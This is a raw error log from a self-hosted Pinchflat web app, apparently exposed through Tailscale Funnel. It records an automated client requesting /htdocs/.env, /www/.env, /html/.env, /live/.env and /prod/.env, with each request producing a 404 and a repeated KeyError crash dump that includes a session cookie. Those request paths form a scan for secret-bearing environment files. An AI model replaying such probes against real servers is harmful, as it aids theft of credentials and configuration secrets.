"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 67, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /htdocs/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/htdocs/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 67, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: fal (truncated) 02:10:12.916 [info] GET /www/.env 02:10:12.917 [debug] QUERY OK source="settings" db=0.2ms idle=273.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.917 [debug] QUERY OK source="settings" db=0.0ms idle=191.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.917 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:12.917 [error] #PID<0.3372.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 68) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /www/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /www/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/www/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 68, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3372.0>, params: %{}, path_info: ["www", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/www/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6ZHtz0V9UI4AARDB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/www/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 68, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /www/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/www/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 68, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pin (truncated) 02:10:13.000 [info] GET /html/.env 02:10:13.001 [debug] QUERY OK source="settings" db=0.3ms idle=175.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.002 [debug] QUERY OK source="settings" db=0.1ms idle=176.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.002 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:13.002 [error] #PID<0.3373.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 69) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /html/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /html/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/html/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 69, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3373.0>, params: %{}, path_info: ["html", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/html/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6Zb1kmaujTwAAREB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/html/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 69, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /html/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/html/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 69, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, ho (truncated) 02:10:13.091 [info] GET /live/.env 02:10:13.092 [debug] QUERY OK source="settings" db=0.3ms idle=175.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.092 [debug] QUERY OK source="settings" db=0.0ms idle=175.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.093 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:13.093 [error] #PID<0.3374.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 70) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /live/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /live/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/live/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 70, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3374.0>, params: %{}, path_info: ["live", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/live/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6Zxf1Mx8mPYAARFB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/live/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 70, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /live/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/live/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 70, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, ho (truncated) 02:10:13.187 [info] GET /prod/.env 02:10:13.187 [debug] QUERY OK source="settings" db=0.2ms idle=241.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.187 [debug] QUERY OK source="settings" db=0.0ms idle=186.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.187 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:13.188 [error] #PID<0.3375.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 71) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /prod/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /prod/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ 